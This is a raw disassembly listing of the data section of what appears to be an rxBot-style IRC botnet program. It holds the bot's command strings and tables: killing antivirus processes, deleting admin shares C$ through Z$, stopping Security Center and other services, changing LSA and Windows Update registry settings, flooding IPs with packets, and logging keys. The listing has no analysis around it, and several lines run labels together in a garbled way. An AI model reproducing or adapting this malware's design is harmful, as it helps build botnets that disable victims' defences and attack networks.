dword_44D890	dd 5A4E7852h, 632E4Dha_n_z_m_Irc_p_l	db '.n.z.m. (irc.p.l.g) .»». ',0 ; DATA XREF: .text:00447B5Co
		align 4
aRxnzm_b	db 'RxNZM.b',0          ; DATA XREF: .text:00447B58o
dword_44D8BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: .text:00447B54o
		dd 2BBBB02h, 20h
aRxnzm		db 'RxNZM',0            ; DATA XREF: .text:00447B50o
		align 10h
dword_44D8E0	dd 234032Dh, 6E69616Dh,	202D0302h, 0dword_44D8F0	dd 4C2D7852h, 2D6B6E69h, 2E414950h, 63hdword_44D900	dd 234032Dh, 6E616373h,	202D0302h, 0dword_44D910	dd 4C2D7852h, 2D6B6E69h, 414950hdword_44D91C	dd 5446545Bh, 3A5D4450h, 20hdword_44D928	dd 54207852h, 64505446h, 0dword_44D934	dd 5446545Bh, 203A5D50h, 0dword_44D940	dd 54207852h, 2E505446h, 62hdword_44D94C	dd 50544654h, 2F2Fhdword_44D954	dd 53207852h, 6873616Ch, 7446542Dh, 70hdword_44D964	dd 4E414353h, 2F2Fhdword_44D96C	dd 53207852h, 6873616Ch, 6163532Dh, 6Ehdword_44D97C	dd 4E49414Dh, 2F2Fhdword_44D984	dd 53207852h, 6873616Ch, 0dword_44D990	dd 4F57445Bh, 414F4C4Eh, 203A5D44h, 0dword_44D9A0	dd 44207852h, 6C6E776Fh, 64616Fhdword_44D9AC	dd 5054465Bh, 203A5D44h, 0dword_44D9B8	dd 46207852h, 447074hdword_44D9C0	dd 59454B5Bh, 5D474F4Ch, 203Ahdword_44D9CC	dd 4B207852h, 6F4C7965h, 67hdword_44D9D8	dd 234032Dh, 2637269h, 2D03haPiabot		db 'PiABot',0           ; DATA XREF: .text:00447AF8o
		align 4
aIrc		db 'IRC//',0            ; DATA XREF: .text:00447AF4o
		align 4
aRxIrc_c	db 'Rx IRC.c',0         ; DATA XREF: .text:00447AF0o
		align 10h
aIrc_0		db '[IRC]: ',0          ; DATA XREF: .text:off_447AECo
aRxIrc		db 'Rx IRC',0           ; DATA XREF: .text:00447AE8o
		align 10h
aSFoundStringSI	db '%s Found string "%s" in "%s" File "%s"',0 ; DATA XREF: sub_41EE89+D1o
		align 4
aSTerminatedAnd	db '%s Terminated and deleted %s',0 ; DATA XREF: sub_41EFEF+BCo
		align 4
aSBkillShutdown	db '%s bkill shutdown for wride.',0 ; DATA XREF: sub_41F0F5+3E4o
					; sub_41F0F5+41Do
		align 4
aSRunningAvscan	db '%s Running AVScan on %s',0 ; DATA XREF: sub_41F0F5+312o
aSMatchedAndKil	db '%s Matched and killing %s',0 ; DATA XREF: sub_41F0F5+29Do
		align 4
aSKillingS	db '%s Killing %s',0    ; DATA XREF: sub_41F0F5+228o
		align 4
asc_44DABC:				; DATA XREF: sub_41F0F5+56o
					; sub_423919+A4o ...
		unicode	0, <\>,0
aSProcsSSTotalS	db '%s Procs %s: "%s", Total %s Time: %s.',0 ; DATA XREF: sub_41F533+2FBo
		align 4
aSCreatedProcSP	db '%s Created proc: "%s", PID: <%d>',0 ; DATA XREF: sub_41F533+1CAo
		align 4
aSSToCreatePr_0	db '%s %s to create proc: "%s", %s: <%d>',0 ; DATA XREF: sub_41F533+16Fo
					; sub_41F533+19Do
		align 4
aSCouldnTPars_0	db '%s Couldn',27h,'t parse path, %s <%d>',0 ; DATA XREF: sub_41F533+98o
					; sub_41F533+BEo
aSPidIKilledAnd	db '%s PID "%i" killed and deleted',0 ; DATA XREF: sub_41F876+3D8o
		align 4
aSFailedToKillA	db '%s Failed to kill and erase proc',0 ; DATA XREF: sub_41F876+37Bo
		align 4
aSFailedToKillP	db '%s Failed to kill proc',0 ; DATA XREF: sub_41F876:loc_41FB1Eo
		align 10h
aSPidIKilled	db '%s PID "%i" killed',0 ; DATA XREF: sub_41F876+251o
		align 4
aSProSKilledTot	db '%s Pro "%s" killed,total: <%s>',0 ; DATA XREF: sub_41F876+1F9o
		align 4
aSUnableToListP	db '%s Unable to list procs, %s: <%d>',0 ; DATA XREF: sub_41F876+185o
					; sub_41F876+1AAo
		align 4
aSEndOfList	db '%s End of list',0   ; DATA XREF: sub_41F876+14Do
		align 4
a6d10sS		db ' %-6d- %-10s- "%s"',0 ; DATA XREF: sub_41F876+106o
		align 4
aK		db ' K',0               ; DATA XREF: sub_41F876+E9o
		align 10h
aPidAMemoryUsag	db ' PID   - Memory Usage - Process',0 ; DATA XREF: sub_41F876+9Do
aSProcsList	db '%s Procs List:',0   ; DATA XREF: sub_41F876+82o
		align 10h
aSS_4		db '%s / %s',0Ah,0      ; DATA XREF: sub_41FC58+17Ao
		align 4
aSD_2		db '%s: <%d>',0         ; DATA XREF: sub_41FC58+11Do
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FE3F+E0o
					; sub_427F60+3Bo
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41FE3F+5Co
					; sub_42003C+4Eo
		align 4
aSPingRequestFr	db '%s Ping request from: %s!%s@%s',0 ; DATA XREF: sub_42045F+62Fo
		align 4
dword_44DCB4	dd 4E495001h, 73252047h, 0dword_44DCC0	dd 4E495001h, 47haTransferComple	db 'Transfer complete from IP: %s, File: %s (%s bytes).',0
					; DATA XREF: sub_42045F+582o
aSSOpeningFileF	db '%s %s opening file for writing.',0 ; DATA XREF: sub_42045F+441o
off_44DD1C	dd offset byte_622B61	; DATA XREF: sub_42045F+423o
aSSUnableToWrit	db '%s %s unable to write file to disk.',0 ; DATA XREF: sub_42045F+40Fo
aSend_0		db 'SEND',0             ; DATA XREF: sub_42045F+39Co
		align 4
aSDccRequestFro	db '%s DCC request from: %s!%s@%s',0 ; DATA XREF: sub_42045F+38Co
		align 4
dword_44DD6C	dd 43434401h, 0	aSVersionReques	db '%s Version request from: %s!%s@%s',0 ; DATA XREF: sub_42045F+346o
		align 4
dword_44DD98	dd 52455601h, 4E4F4953h, 1732520h, 0dword_44DDA8	dd 52455601h, 4E4F4953h, 1aSSSS@SPassTrie	db '%s %s [%s!%s@%s] (Pass Tried -> %s)',0 ; DATA XREF: sub_42045F+212o
aSS@S		db '%s!%s@%s',0         ; DATA XREF: sub_42045F+1A7o
		align 4
aSSSS@SSentPmS	db '%s %s %s!%s@%s (Sent PM -> "%s")',0 ; DATA XREF: sub_42045F+154o
		align 4
asc_44DE08:				; DATA XREF: sub_42045F+28o
					; sub_420B3B+8Co
		unicode	0, <+>,0
aTopic		db 'topic',0            ; DATA XREF: sub_420B3B+10Bo
		align 4
a433		db '433',0              ; DATA XREF: sub_420D91+BAo
					; sub_4263D5:loc_426450o
a422		db '422',0              ; DATA XREF: sub_420D91+A9o
a376		db '376',0              ; DATA XREF: sub_420D91+9Co
a005		db '005',0              ; DATA XREF: sub_420D91+91o
a366		db '366',0              ; DATA XREF: sub_420D91+7Do
a332		db '332',0              ; DATA XREF: sub_420D91+6Co
a302		db '302',0              ; DATA XREF: sub_420D91+5Fo
off_44DE30	dd offset dword_554B48	; DATA XREF: sub_420E5B+7Do
aHkey_users	db 'HKEY_USERS',0       ; DATA XREF: sub_420E5B+71o
		align 10h
aHkcc		db 'HKCC',0             ; DATA XREF: sub_420E5B+65o
		align 4
aHkey_current_c	db 'HKEY_CURRENT_CONFIG',0 ; DATA XREF: sub_420E5B+59o
aHkcr		db 'HKCR',0             ; DATA XREF: sub_420E5B+4Do
		align 4
aHkey_classes_r	db 'HKEY_CLASSES_ROOT',0 ; DATA XREF: sub_420E5B+41o
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_420E5B+35o
					; sub_42184C+9Bo ...
		align 10h
aHkey_current_u	db 'HKEY_CURRENT_USER',0 ; DATA XREF: sub_420E5B+29o
		align 4
aHklm		db 'HKLM',0             ; DATA XREF: sub_420E5B+1Do
					; sub_42184C+94o ...
		align 4
aHkey_local_mac	db 'HKEY_LOCAL_MACHINE',0 ; DATA XREF: sub_420E5B+Do
		align 10h
aReg_dword	db 'REG_DWORD',0        ; DATA XREF: sub_420F07:loc_420F38o
		align 4
aReg_multi_sz	db 'REG_MULTI_SZ',0     ; DATA XREF: sub_420F07:loc_420F5Ao
		align 4
aReg_expand_sz	db 'REG_EXPAND_SZ',0    ; DATA XREF: sub_420F07:loc_420F26o
		align 4
aReg_sz		db 'REG_SZ',0           ; DATA XREF: sub_420F07:loc_420F2Co
		align 4
aReg_dword_big_	db 'REG_DWORD_BIG_ENDIAN',0 ; DATA XREF: sub_420F07:loc_420F66o
		align 4
aReg_link	db 'REG_LINK',0         ; DATA XREF: sub_420F07:loc_420F60o
		align 4
aReg_qword	db 'REG_QWORD',0        ; DATA XREF: sub_420F07:loc_420F54o
		align 4
aUnknown_0	db 'UNKNOWN',0          ; DATA XREF: sub_420F07:loc_420F4Eo
aReg_none	db 'REG_NONE',0         ; DATA XREF: sub_420F07:loc_420F32o
		align 4
aReg_binary	db 'REG_BINARY',0       ; DATA XREF: sub_420F07+19o
		align 4
a_2dSSS		db '(%.2d) %s\%s (%s)',0 ; DATA XREF: sub_421126+169o
		align 4
aDefault	db '(Default)',0        ; DATA XREF: sub_421126+148o
		align 4
a_2dSS		db '(%.2d) %s\%s',0     ; DATA XREF: sub_421126+C0o
		align 8
off_44DF68	dd offset aTlntsvr	; DATA XREF: sub_421E93+2Dr
					; "Tlntsvr"
		dd offset aRemoteregistry ; "RemoteRegistry"
		dd offset aMessenger	; "Messenger"
		dd offset aWscsvc	; "wscsvc"
off_44DF78	dd offset aTelnet	; DATA XREF: sub_421E93+6Er
					; sub_421E93+ABr ...
					; "Telnet"
		dd offset aRemoteRegistry ; "Remote Registry"
		dd offset aMessenger	; "Messenger"
		dd offset aSecurityCenter ; "Security Center"
dword_44DF88	dd 80000002h						; sub_42184C:loc_4218D6r ...
dword_44DF8C	dd 54535953h						; sub_42184C+14Er
aEmCurrentcontr	db 'EM\CurrentControlSet\Control\Lsa',0
		align 4
		dd 35h dup(0)
		db 3 dup(0)
dword_44E08B	dd 74736572h						; sub_42184C:loc_421992r
aRictanonymous	db 'rictanonymous',0
		align 10h
		dd 3Bh dup(0)
dword_44E18C	dd 4		dword_44E190	dd 1							; sub_42184C+7Cr ...
dword_44E194	dd 0							; sub_42184C:loc_4218D0r ...
dword_44E198	dd 0							; sub_42184C+18Br ...
		dd 3Eh dup(0)
		db 3 dup(0)
dword_44E297	dd 0							; sub_42184C+193r ...
		align 4
		dd 3Fh dup(0)
		dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h
		dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 5C73776Fh
		dd 646E6957h, 5573776Fh, 74616470h, 65h, 32h dup(0)
		dd 44000000h, 746F4E6Fh, 6F6C6C41h, 53505877h, 3250h, 3Ch dup(0)
		dd 4, 1, 81h dup(0)
		dd 80000002h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h
		dd 4F5C7466h, 454Ch, 39h dup(0)
		dd 45000000h, 6C62616Eh, 4F434465h, 4Dh, 3Dh dup(0)
		dd 1, 2	dup(0)
		dd 4Eh,	3Eh dup(0)
		dd 59000000h, 40h dup(0)
off_44EBB8	dd offset off_44EF58	; DATA XREF: sub_421B16+85r
					; sub_421B16:loc_421BD3r ...
dword_44EBBC	dd 0				dd offset off_44EF48
		align 8
		dd offset off_44EF38
		align 10h
		dd offset aC_1		; "C$"
		dd offset aC_2		; "C:\\"
		dd offset aD_1		; "D$"
		dd offset aD_2		; "D:\\"
		dd offset aE_2		; "E$"
		dd offset aE_3		; "E:\\"
		dd offset aF_0		; "F$"
		dd offset aF_1		; "F:\\"
		dd offset aG_0		; "G$"
		dd offset aG_1		; "G:\\"
		dd offset asc_44EEE0	; "H$"
		dd offset asc_44EED8	; "H:\\"
		dd offset aI_2		; "I$"
		dd offset aI_3		; "I:\\"
		dd offset aJ_0		; "J$"
		dd offset aJ_1		; "J:\\"
		dd offset aJ_0		; "J$"
		dd offset aJ_1		; "J:\\"
		dd offset aK_1		; "K$"
		dd offset aK_2		; "K:\\"
		dd offset asc_44EEA0	; "L$"
		dd offset asc_44EE98	; "L:\\"
		dd offset aM_5		; "M$"
		dd offset aM_6		; "M:\\"
		dd offset aN_1		; "N$"
		dd offset aN_2		; "N:\\"
		dd offset aO_0		; "O$"
		dd offset aO_1		; "O:\\"
		dd offset aP_4		; "P$"
		dd offset aP_5		; "P:\\"
		dd offset aQ_1		; "Q$"
		dd offset aQ_2		; "Q:\\"
		dd offset aR_0		; "R$"
		dd offset aR_1		; "R:\\"
		dd offset aS_9		; "S$"
		dd offset aS_8		; "S:\\"
		dd offset aT_0		; "T$"
		dd offset aT_1		; "T:\\"
		dd offset aU_2		; "U$"
		dd offset aU_1		; "U:\\"
		dd offset aV_0		; "V$"
		dd offset aV_1		; "V:\\"
		dd offset aW_0		; "W$"
		dd offset aW_1		; "W:\\"
		dd offset asc_44EDE0	; "X$"
		dd offset asc_44EDD8	; "X:\\"
		dd offset aY_1		; "Y$"
		dd offset aY_2		; "Y:\\"
		dd offset aZ_2		; "Z$"
		dd offset aZ_3		; "Z:\\"
		dd offset off_44EF38
		dd offset off_44EDA4
		dd offset off_44EF48
		dd offset off_44ED94
		dd offset off_44EF58
		dd offset off_44ED88
		dd offset off_44EF58
		dd offset off_44ED7C
		dd offset off_44EF58
		dd offset off_44ED68
		dd offset off_44EF58
		dd offset aWkssvc	; "wkssvc\\"
		dd offset off_44EF58
		dd offset aSrvsvc	; "srvsvc\\"
		dd offset off_44ED34
		dd offset off_44ED20
		dd offset off_44EF58
		dd offset aTsclient	; "tsclient\\"
		dd offset off_44EF58
		dd offset aTsweb	; "tsweb\\"
		dd offset off_44EF58
		dd offset off_44ECF0
off_44ECF0	dd offset dword_50004C	; DATA XREF: .text:0044ECECo
		dd offset dword_520054
		dd 5Ch
aTsweb:					; DATA XREF: .text:0044ECE4o
		unicode	0, <tsweb\>,0
		align 4
aTsclient:				; DATA XREF: .text:0044ECDCo
		unicode	0, <tsclient\>,0
off_44ED20	dd offset word_65006E	; DATA XREF: .text:0044ECD4o
aTlogon:
		unicode	0, <tlogon\>,0
off_44ED34	dd offset off_45004E	; DATA XREF: .text:0044ECD0o
		dd offset dword_4C0054
		dd offset byte_47004F
		dd offset byte_4E004F
		dd 24h
aSrvsvc:				; DATA XREF: .text:0044ECCCo
		unicode	0, <srvsvc\>,0
aWkssvc:				; DATA XREF: .text:0044ECC4o
		unicode	0, <wkssvc\>,0
off_44ED68	dd offset word_520042	; DATA XREF: .text:0044ECBCo
		dd offset byte_57004F
		dd offset byte_450053
		dd offset word_5C0052
		dd 0
off_44ED7C	dd offset dword_490050	; DATA XREF: .text:0044ECB4o
		dd offset off_45004E+2
		dd 5Ch
off_44ED88	dd offset byte_500049	; DATA XREF: .text:0044ECACo
		dd offset byte_5C0043
		dd 0
off_44ED94	dd offset aRy6iq0udbphLlD+0Dh ;	DATA XREF: .text:0044ECA4o
		dd offset byte_49004D
		dd offset word_5C004E
		dd 0
off_44EDA4	dd offset dword_520050	; DATA XREF: .text:0044EC9Co
		dd offset byte_4E0049
		dd offset dword_450054
		dd offset word_5C0052
		align 8
aZ_3:					; DATA XREF: .text:0044EC94o
		unicode	0, <Z:\>,0
aZ_2:					; DATA XREF: .text:0044EC90o
		unicode	0, <Z$>,0
		align 4
aY_2:					; DATA XREF: .text:0044EC8Co
		unicode	0, <Y:\>,0
aY_1:					; DATA XREF: .text:0044EC88o
		unicode	0, <Y$>,0
		align 4
asc_44EDD8:				; DATA XREF: .text:0044EC84o
		unicode	0, <X:\>,0
asc_44EDE0:				; DATA XREF: .text:0044EC80o
		unicode	0, <X$>,0
		align 4
aW_1:					; DATA XREF: .text:0044EC7Co
		unicode	0, <W:\>,0
aW_0:					; DATA XREF: .text:0044EC78o
		unicode	0, <W$>,0
		align 4
aV_1:					; DATA XREF: .text:0044EC74o
		unicode	0, <V:\>,0
aV_0:					; DATA XREF: .text:0044EC70o
		unicode	0, <V$>,0
		align 4
aU_1:					; DATA XREF: .text:0044EC6Co
		unicode	0, <U:\>,0
aU_2:					; DATA XREF: .text:0044EC68o
		unicode	0, <U$>,0
		align 4
aT_1:					; DATA XREF: .text:0044EC64o
		unicode	0, <T:\>,0
aT_0:					; DATA XREF: .text:0044EC60o
		unicode	0, <T$>,0
		align 4
aS_8:					; DATA XREF: .text:0044EC5Co
		unicode	0, <S:\>,0
aS_9:					; DATA XREF: .text:0044EC58o
		unicode	0, <S$>,0
		align 4
aR_1:					; DATA XREF: .text:0044EC54o
		unicode	0, <R:\>,0
aR_0:					; DATA XREF: .text:0044EC50o
		unicode	0, <R$>,0
		align 4
aQ_2:					; DATA XREF: .text:0044EC4Co
		unicode	0, <Q:\>,0
aQ_1:					; DATA XREF: .text:0044EC48o
		unicode	0, <Q$>,0
		align 4
aP_5:					; DATA XREF: .text:0044EC44o
		unicode	0, <P:\>,0
aP_4:					; DATA XREF: .text:0044EC40o
		unicode	0, <P$>,0
		align 4
aO_1:					; DATA XREF: .text:0044EC3Co
		unicode	0, <O:\>,0
aO_0:					; DATA XREF: .text:0044EC38o
		unicode	0, <O$>,0
		align 4
aN_2:					; DATA XREF: .text:0044EC34o
		unicode	0, <N:\>,0
aN_1:					; DATA XREF: .text:0044EC30o
		unicode	0, <N$>,0
		align 4
aM_6:					; DATA XREF: .text:0044EC2Co
		unicode	0, <M:\>,0
aM_5:					; DATA XREF: .text:0044EC28o
		unicode	0, <M$>,0
		align 4
asc_44EE98:				; DATA XREF: .text:0044EC24o
		unicode	0, <L:\>,0
asc_44EEA0:				; DATA XREF: .text:0044EC20o
		unicode	0, <L$>,0
		align 4
aK_2:					; DATA XREF: .text:0044EC1Co
		unicode	0, <K:\>,0
aK_1:					; DATA XREF: .text:0044EC18o
		unicode	0, <K$>,0
		align 4
aJ_1:					; DATA XREF: .text:0044EC0Co
					; .text:0044EC14o
		unicode	0, <J:\>,0
aJ_0:					; DATA XREF: .text:0044EC08o
					; .text:0044EC10o
		unicode	0, <J$>,0
		align 4
aI_3:					; DATA XREF: .text:0044EC04o
		unicode	0, <I:\>,0
aI_2:					; DATA XREF: .text:0044EC00o
		unicode	0, <I$>,0
		align 4
asc_44EED8:				; DATA XREF: .text:0044EBFCo
		unicode	0, <H:\>,0
asc_44EEE0:				; DATA XREF: .text:0044EBF8o
		unicode	0, <H$>,0
		align 4
aG_1:					; DATA XREF: .text:0044EBF4o
		unicode	0, <G:\>,0
aG_0:					; DATA XREF: .text:0044EBF0o
		unicode	0, <G$>,0
		align 4
aF_1:					; DATA XREF: .text:0044EBECo
		unicode	0, <F:\>,0
aF_0:					; DATA XREF: .text:0044EBE8o
		unicode	0, <F$>,0
		align 4
aE_3:					; DATA XREF: .text:0044EBE4o
		unicode	0, <E:\>,0
aE_2:					; DATA XREF: .text:0044EBE0o
		unicode	0, <E$>,0
		align 4
aD_2:					; DATA XREF: .text:0044EBDCo
		unicode	0, <D:\>,0
aD_1:					; DATA XREF: .text:0044EBD8o
		unicode	0, <D$>,0
		align 4
aC_2:					; DATA XREF: .text:0044EBD4o
		unicode	0, <C:\>,0
aC_1:					; DATA XREF: .text:0044EBD0o
		unicode	0, <C$>,0
		align 4
off_44EF38	dd offset dword_520050	; DATA XREF: .text:0044EBC8o
					; .text:0044EC98o
		dd offset byte_4E0049
aT_2:
		unicode	0, <T$>,0
		align 4
off_44EF48	dd offset aRy6iq0udbphLlD+0Dh ;	DATA XREF: .text:0044EBC0o
					; .text:0044ECA0o
		dd offset byte_49004D
aN_3:
		unicode	0, <N$>,0
		align 4
off_44EF58	dd offset byte_500049	; DATA XREF: .text:off_44EBB8o
					; .text:0044ECA8o ...
aC_3:
		unicode	0, <C$>,0
		align 4
aSecurityCenter	db 'Security Center',0  ; DATA XREF: .text:0044DF84o
aRemoteRegistry	db 'Remote Registry',0  ; DATA XREF: .text:0044DF7Co
aTelnet		db 'Telnet',0           ; DATA XREF: .text:off_44DF78o
		align 4
aWscsvc		db 'wscsvc',0           ; DATA XREF: .text:0044DF74o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: .text:0044DF70o
					; .text:0044DF80o
		align 10h
aRemoteregistry	db 'RemoteRegistry',0   ; DATA XREF: .text:0044DF6Co
		align 10h
aTlntsvr	db 'Tlntsvr',0          ; DATA XREF: .text:off_44DF68o
aSRegistryS_2d_	db '%s Registry %s, (%.2d/%.2d)',0 ; DATA XREF: sub_42184C+2AEo
aSFailedToSRegi	db '%s Failed to %s Registry, (%.2d/%.2d)',0 ; DATA XREF: sub_42184C+275o
		align 4
aSecured	db 'Secured',0          ; DATA XREF: sub_42184C+25Eo
aSFailedToSet_0	db '%s Failed to set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_42184C+21Do
		align 4
aSSetSSSToS_	db '%s Set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_42184C+1C4o
		align 4
aSFailedToSetSS	db '%s Failed to set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_42184C+11Fo
		align 10h
aSSetSSSToD_	db '%s Set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_42184C+B5o
		align 4
aSTotalShares_0	db '%s Total shares [%s: %d]',0 ; DATA XREF: sub_421B16+365o
		align 4
aTotalSharesS_0	db ' Total shares [%s: %d]',0 ; DATA XREF: sub_421B16+343o
		align 10h
aSNoSharesS_	db '%s No shares %s.',0 ; DATA XREF: sub_421B16:loc_421E40o
		align 4
aUnloading	db 'Unloading',0        ; DATA XREF: sub_421B16+289o
		align 10h
aCreated	db 'created',0          ; DATA XREF: sub_421B16+23Eo
aSTotalSharesSD	db '%s Total shares %s: [%d]',0 ; DATA XREF: sub_421B16+231o
		align 4
aTotalSharesSD	db ' Total shares: [%s: %d]',0 ; DATA XREF: sub_421B16+1CFo
off_44F11C	dd offset dword_532520	; DATA XREF: sub_421B16+C9o
					; sub_421B16+157o ...
dword_44F120	dd 2Ch							; sub_421B16+142o ...
dword_44F124	dd 53207325h, 65726168h, 73252073h, 3Ah					; sub_421B16+256o
aErased		db 'erased',0           ; DATA XREF: sub_421B16+34o
					; sub_421B16:loc_421CCEo ...
		align 4
aSTotalServices	db '%s Total services stopped: %d',0 ; DATA XREF: sub_421E93+15Eo
		align 4
aSNoServicesSto	db '%s No services stopped.',0 ; DATA XREF: sub_421E93+136o
aSTheSServiceWa	db '%s The %s service was not started.',0 ; DATA XREF: sub_421E93+F0o
		align 4
aSSServiceStopp	db '%s %s service stopped.',0 ; DATA XREF: sub_421E93+B2o
		align 10h
aSTheSServiceDo	db '%s The %s service does not exist.',0 ; DATA XREF: sub_421E93+75o
		align 4
aSystemShutting	db 'System shutting down.',0 ; DATA XREF: sub_422009+E8o
		align 4
aS_4		db '"%s"',0             ; DATA XREF: sub_4221E4+14o
		align 4
aSErrorD	db '%s Error: %d',0     ; DATA XREF: sub_4225E4+2EBo
		align 4
aSCanTSyn_Error	db '%s Can',27h,'t Syn. Error: %d',0 ; DATA XREF: sub_4225E4+95o
					; sub_4225E4+D9o ...
aSS@IkbS	db '%s %s @ (%iKB/s)',0 ; DATA XREF: sub_4229B7+60o
		align 10h
aSCanTUseRawOpt	db '%s Can',27h,'t use raw opt: %d',0 ; DATA XREF: sub_422B50+120o
		align 10h
aSErrorSendingP	db '%s Error sending packets to IP: %s. Packets sent: %d. Error: <%d>'
					; DATA XREF: sub_422E10+611o
		db '.',0
		align 4
aSSWithSToIpS_S	db '%s %s with %s to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB).',0
					; DATA XREF: sub_422E10+589o
		align 4
aSInvalidTarget	db '%s Invalid target IP.',0 ; DATA XREF: sub_422E10+1D4o
		align 4
aSSD__0		db '%s %s <%d>.',0      ; DATA XREF: sub_422E10+8Bo
					; sub_422E10+138o
aSSS_3		db '%s (%s) %s',0       ; DATA XREF: sub_423654+81o
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_423719+61o
		align 4
aSThreadsList	db '%s Threads List:',0 ; DATA XREF: sub_423719+37o
		align 10h
off_44F320	dd offset aQ		; DATA XREF: sub_426761+69r
					; "q"
		dd offset dword_450064
		dd offset aE_0		; "e"
		dd offset word_43EF70
		dd offset dword_450060
		dd offset aY		; "y"
		dd offset dword_45005C
		dd offset dword_450058
		dd offset dword_450054
		dd offset dword_43DAAC
		dd offset aS_2		; "s"
		dd offset off_45004E+2
		dd offset aF_3		; "f"
		dd offset aG_3		; "g"
		dd offset asc_450044	; "h"
		dd offset aJ_3		; "j"
		dd offset aK_4		; "k"
		dd offset asc_450038	; "l"
		dd offset aZ_5		; "z"
		dd offset dword_43AB88
		dd offset word_43EF74
		dd offset aV_3		; "v"
		dd offset aB_2		; "b"
		dd offset aN_5		; "n"
		dd offset aM_7		; "m"
		dd offset aQ_3		; "Q"
		dd offset aW_2		; "W"
		dd offset aE_4		; "E"
		dd offset aR_2		; "R"
		dd offset aT_3		; "T"
		dd offset aY_3		; "Y"
		dd offset aU_3		; "U"
		dd offset aI_4		; "I"
		dd offset aO_3		; "O"
		dd offset aP		; "P"
		dd offset aA_1		; "A"
		dd offset aS_10		; "S"
		dd offset aD_3		; "D"
		dd offset aF_2		; "F"
		dd offset aG_2		; "G"
		dd offset asc_44FFE8	; "H"
		dd offset aJ_2		; "J"
		dd offset aK_3		; "K"
		dd offset asc_44FFDC	; "L"
		dd offset aZ_4		; "Z"
		dd offset asc_43D940	; "X"
		dd offset aC_4		; "C"
		dd offset aV_2		; "V"
		dd offset aB_1		; "B"
		dd offset aN_4		; "N"
		dd offset aM		; "M"
		dd offset aSm4rt3	; "SM4RT3"
		dd offset aFar0oq	; "far0oq"
		dd offset aMax1xguy	; "max1xguy"
		dd offset aB0bm4rl3y	; "B0BM4RL3Y"
		dd offset aEmilya	; "emilya"
		dd offset aEmilyia	; "Emilyia"
		dd offset aKr1zha	; "KR1ZHA"
		dd offset aC4r1nna	; "C4r1nna"
		dd offset aSw1n		; "sw1n"
		dd offset aM4le		; "m4le"
		dd offset aKok00	; "kok00"
		dd offset aFl3xxxt3r	; "fl3xxxt3r"
		dd offset aK3nnn	; "k3nnn"
		dd offset aXc4libr3	; "xc4libr3"
		dd offset aXtcXcal	; "xTc-xCaL"
		dd offset aPwntuuuu	; "pwntuuuu"
		dd offset aShezzza	; "Shezzza"
		dd offset aTalika	; "Talika"
		dd offset aM4rcy	; "m4rcy"
		dd offset aSeiny	; "seiny"
		dd offset aSe1nf3ld	; "se1nf3ld"
		dd offset aCmecme	; "cmecme"
		dd offset aHev4l	; "hev4l"
		dd offset aBunty007	; "bunty007"
		dd offset aJann0	; "jann0"
		dd offset aR1mpy	; "r1mpy"
		dd offset aH4xdd	; "h4xdd-"
		dd offset aNastsha	; "nastsha"
		dd offset aLisau	; "Lisau"
		dd offset aTr0ll3r	; "tr0ll3r"
		dd offset aM4n4e	; "m4n4e"
		dd offset aK3rm1t	; "k3rm1t"
		dd offset aPur3g0ld	; "pur3g0ld"
		dd offset aC0redumpdd	; "C0reDumpDd"
		dd offset aIiimra	; "iiimra"
		dd offset aGirlzx	; "GirLzx"
		dd offset aCam3l	; "CAM3L-"
		dd offset aReshma	; "reshma"
		dd offset aK3ncing	; "K3ncing"
		dd offset aR45h3r	; "R45H3R"
		dd offset aC4nsuu	; "c4nsuu"
		dd offset aKandent	; "kandent"
		dd offset aErk4nerkali	; "erk4nerkali"
		dd offset aHexa4a	; "hexa4a"
		dd offset aBerkkkko	; "berkkkko"
		dd offset aBenibi	; "BeNiBi"
		dd offset aIrm4ll	; "irm4Ll"
		dd offset aMizsund4y	; "mizsund4y"
		dd offset aTolga38	; "Tolga38"
		dd offset aJer1cho	; "JER1CHO"
		dd offset aM4ry		; "M4RY-"
		dd offset aAk1n		; "AK1N"
		dd offset aMel3kk	; "mel3kk"
		dd offset aTrr3nd	; "trr3nd"
		dd offset aMERV		; "M-E-R-V"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSud3nur	; "SUD3NUR"
		dd offset aR0t0r	; "r0t0r-"
		dd offset aR0t0		; "r0t0"
		dd offset aSmokeySn	; "smokey-sn"
		dd offset aSmok3yS	; "smok3y-s"
		dd offset aR0t0r	; "r0t0r-"
		dd offset aRyann	; "ryann"
		dd offset aNils		; "Nils-"
		dd offset aDog		; "dog-"
		dd offset aD_		; "d_"
		dd offset a_d		; "_d"
		dd offset aBl0ndu	; "Bl0ndu"
		dd offset aAkw1dz	; "AKW1Dz"
		dd offset aRot0r	; "rot0r"
		dd offset aBlondu	; "Blondu-"
		dd offset aXc4l		; "XC4L"
		dd offset aXtczzz	; "xTczzz"
		dd offset aDczz		; "dczz"
		dd offset aAhm3txtc	; "Ahm3tXTC"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiram1t	; "PIRAM1T"
		dd offset aSamy3li	; "samy3li"
		dd offset aRetg		; "RETG-"
		dd offset aBlackp34rl	; "blackp34rl"
		dd offset aPelinci	; "pelinci"
		dd offset aAhm3t	; "ahm3t"
		dd offset aTurkyballs	; "turkyballs"
		dd offset aAnk32m	; "ank32m"
		dd offset aAck0111	; "ACK0111"
		dd offset aIzm1rm	; "Izm1rm"
		dd offset aAlb1na	; "alb1na"
		dd offset aAyla		; "AYLA-"
		dd offset aAte3e	; "AtE3e"
		dd offset aAnkh4h	; "ankh4h"
		dd offset aDonju4nm	; "Donju4nm"
		dd offset aBog4c3r	; "bog4c3r"
		dd offset aAlpay3m	; "alpay3m"
		dd offset aCongu	; "CoNGU"
